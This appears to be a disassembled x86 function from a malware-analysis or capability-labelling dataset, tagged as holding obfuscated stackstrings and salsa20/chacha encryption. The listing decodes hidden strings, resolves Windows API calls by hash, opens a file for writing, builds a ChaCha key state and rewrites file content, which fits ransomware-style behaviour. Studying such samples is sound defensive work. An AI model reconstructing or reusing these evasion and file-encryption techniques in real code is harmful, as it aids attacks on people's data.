Function at 0x420000
Capabilities:
Contain obfuscated stackstrings
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x43c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov byte [ebp - 0xf0], 0
mov byte [ebp - 0xef], 0x36
mov byte [ebp - 0xee], 0x2d
mov byte [ebp - 0xed], 0x3f
mov byte [ebp - 0xec], 0x2d
mov byte [ebp - 0xeb], 0x38
mov byte [ebp - 0xea], 0x2d
mov byte [ebp - 0xe9], 0x5d
mov byte [ebp - 0xe8], 0x2d
mov byte [ebp - 0xe7], 0x5c
mov byte [ebp - 0xe6], 0x2d
mov byte [ebp - 0xe5], 0x4d
mov byte [ebp - 0xe4], 0x2d
mov byte [ebp - 0xe3], 0x3f
mov byte [ebp - 0xe2], 0x2d
mov byte [ebp - 0xe1], 0x27
mov byte [ebp - 0xe0], 0x2d
mov byte [ebp - 0xdf], 0x3e
mov byte [ebp - 0xde], 0x2d
mov byte [ebp - 0xdd], 0x79
mov byte [ebp - 0xdc], 0x2d
mov byte [ebp - 0xdb], 1
mov byte [ebp - 0xda], 0x2d
mov byte [ebp - 0xd9], 0x79
mov byte [ebp - 0xd8], 0x2d
mov byte [ebp - 0xd7], 0x2d
mov ebx, 0x7f
mov byte [ebp - 0xd6], 0x2d
mov al, byte [ebp - 0xef]
cmp byte [ebp - 0xf0], 0
jne 0x420116
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0xef]
movzx eax, al
sub eax, 0x2d
imul eax, eax, 0x37
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + ecx - 0xef], dl
inc ecx
cmp ecx, 0x1a
jb 0x4200f0
sub esp, 0x18
lea eax, [ebp - 0xef]
mov ecx, esp
push eax
call fcn.004211d0
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004212a0
lea ecx, [ebp - 0x54]
call fcn.0041f0b0
cmp dword [ebp - 0x40], 8
lea esi, [ebp - 0x54]
push 0x61
cmovae esi, dword [ebp - 0x54]
mov edx, 0xf
push 0x17610e8
call fcn.004081b0
add esp, 0x38
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push esi
call eax
mov dword [ebp - 0xf8], eax
cmp eax, 0xffffffff
je 0x42060e
movups xmm0, xmmword [0x43cc90]
mov esi, dword [0x43ccb8]
mov edi, dword [0x43ccb0]
mov ebx, dword [0x43ccb4]
movups xmmword [ebp - 0x24], xmm0
lea eax, [esi + 1]
movups xmm0, xmmword [0x43cca0]
push eax
mov dword [ebp - 0x11c], eax
movups xmmword [ebp - 0x14], xmm0
call fcn.0042ae75
add esp, 4
mov dword [ebp - 0xf4], eax
lea ecx, [esi + 1]
push ecx
push 0
push eax
call fcn.00428c80
mov edx, dword [ebp - 0xf4]
add esp, 0xc
test edx, edx
jne 0x4201f8
push 0x5b
push 0xca528872
mov edx, 0xf
call fcn.004081b0
mov esi, dword [ebp - 0xf8]
add esp, 8
push esi
call eax
jmp 0x42060e
mov ecx, 0x40
lea eax, [ebp - 0xb0]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x420203
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0xc]
push esi
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], ecx
lea ecx, [ebp - 0xb0]
push edx
mov edx, 0x43ccbc
mov dword [ebp - 0x84], eax
mov dword [ebp - 0xb0], 0x61707865
mov dword [ebp - 0xac], 0x3320646e
mov dword [ebp - 0xa8], 0x79622d32
mov dword [ebp - 0xa4], 0x6b206574
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], ebx
call fcn.00408630
add esp, 8
lea ecx, [ebp - 0x3c]
push dword [ebp - 0xf4]
call fcn.00421360
push dword [0x43f02c]
lea ecx, [ebp - 0x6c]
call fcn.00421360
mov byte [ebp - 0xd4], 0
mov byte [ebp - 0xd3], 0x17
mov byte [ebp - 0xd2], 0x17
mov byte [ebp - 0xd1], 0x17
mov byte [ebp - 0xd0], 0x17
mov byte [ebp - 0xcf], 0x17
mov byte [ebp - 0xce], 0x17
mov byte [ebp - 0xcd], 0x60
mov al, byte [ebp - 0xd3]
cmp byte [ebp - 0xd4], 0
jne 0x42033d
xor esi, esi
lea edi, [esi + 0x7f]
nop word [eax + eax]
mov al, byte [ebp + esi - 0xd3]
mov ecx, 0x60
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*4]
shl eax, 2
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0xd3], dl
inc esi
cmp esi, 7
jb 0x420310
lea eax, [ebp - 0xd3]
push eax
lea ecx, [ebp - 0xcc]
call fcn.00421360
mov edx, dword [ebp - 0x5c]
xor edi, edi
mov ecx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xcc]
mov ebx, dword [ebp - 0xbc]
mov dword [ebp - 0x114], edx
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0x100], eax
nop dword [eax + eax]
cmp ecx, 0x10
lea esi, [ebp - 0xcc]
lea ecx, [ebp - 0x3c]
cmovae esi, eax
cmp dword [ebp - 0x28], 0x10
mov eax, dword [ebp - 0x2c]
cmovae ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x10c], esi
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x118], eax
cmp ebx, eax
ja 0x4204a9
sub eax, ebx
cmp edi, eax
ja 0x4204a9
test ebx, ebx
je 0x420473
movsx edx, byte [esi]
inc eax
add eax, ecx
mov dword [ebp - 0x108], edx
add ecx, edi
mov dword [ebp - 0x104], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.00433f90
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4204a9
mov ecx, esi
mov edx, edi
mov esi, ebx
sub esi, 4
jb 0x420411
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x420416
add edx, 4
add ecx, 4
sub esi, 4
jae 0x420400
cmp esi, 0xfffffffc
je 0x42046a
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x420443
cmp esi, 0xfffffffd
je 0x42046a
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x420443
cmp esi, 0xfffffffe
je 0x42046a
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x420443
cmp esi, 0xffffffff
je 0x42046a
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x42046a
mov eax, dword [ebp - 0x104]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x108]
push edi
call fcn.00433f90
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4204a9
mov esi, dword [ebp - 0x10c]
jmp 0x4203f1
sub edi, dword [ebp - 0x110]
mov edx, dword [ebp - 0x5c]
cmp edi, 0xffffffff
je 0x4204a9
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push edx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x3c]
push eax
push ebx
push edi
call fcn.00421470
add edi, dword [ebp - 0x114]
mov eax, dword [ebp - 0x100]
mov edx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xfc]
jmp 0x420380
cmp dword [ebp - 0x28], 0x10
lea esi, [ebp - 0x3c]
push 0x66
cmovae esi, dword [ebp - 0x3c]
mov edx, 0xf
push 0x88f1e18
call fcn.004081b0
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push ecx
push dword [ebp - 0x118]
push esi
mov esi, dword [ebp - 0xf8]
push esi
call eax
push 0x5b
push 0xca528872
mov edx, 0xf
call fcn.004081b0
add esp, 8
push esi
call eax
mov edx, dword [ebp - 0x28]
lea eax, [ebp - 0x3c]
mov esi, dword [ebp - 0x3c]
cmp edx, 0x10
mov ecx, dword [ebp - 0x2c]
cmovae eax, esi
test ecx, ecx
je 0x420521
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x420510
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x11c]
lea eax, [ebp - 0x3c]
cmp edx, 0x10
mov dword [ebp - 0x2c], 0
mov edx, dword [ebp - 0xf4]
cmovae eax, esi
mov byte [eax], 0
mov eax, edx
test ecx, ecx
je 0x420551
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x420546
push edx
call fcn.0042ae80
mov ecx, dword [ebp - 0xfc]
add esp, 4
cmp ecx, 0x10
jb 0x420594
mov edx, dword [ebp - 0x100]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42058a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42069f
push ecx
push edx
call fcn.00427c1d
add esp, 8
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x4205c8
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4205be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42069f
push ecx
push edx
call fcn.00427c1d
add esp, 8
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x4205fc
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4205f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42069f
push ecx
push edx
call fcn.00427c1d
add esp, 8
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
mov ecx, dword [ebp - 0x40]
cmp ecx, 8
jb 0x420644
mov edx, dword [ebp - 0x54]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42063a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42069f
push ecx
push edx
call fcn.00427c1d
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 7
mov word [ebp - 0x54], ax
cmp ecx, 8
jb 0x42068e
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x420684
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42069f
push ecx
push edx
call fcn.00427c1d
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004279e2
mov esp, ebp
pop ebp
ret
call fcn.0042ae24
int3